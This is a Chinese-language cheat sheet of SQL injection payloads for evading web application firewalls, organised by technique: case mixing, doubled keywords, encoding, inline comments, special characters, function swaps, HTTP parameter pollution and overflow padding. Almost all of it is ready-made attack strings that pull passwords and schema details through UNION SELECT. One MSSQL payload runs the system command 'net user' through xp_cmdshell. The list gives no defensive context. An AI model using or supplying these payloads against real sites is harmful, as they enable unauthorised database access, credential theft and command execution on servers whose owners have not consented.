基础

大小写
id=-1 uNIoN sELecT 1,2,3
双写
id=-1 UNIunionON SELselectECT 1,2,3
编码
id=1%252f%252a*/UNION%252f%252a /SELECT
id=1%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1
十六进制
id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
注释&内联注释
id=-1 %55nION/**/%53ElecT 1,2,3
id=-1'union%a0select pass from users#
id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
id=-1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3

特殊符号

+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
'se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

函数替换

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir() 

http相关

http参数解析
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

http参数分段
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

IntegrationIntegration

id=-1+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

缓存区溢出

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

参考

https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/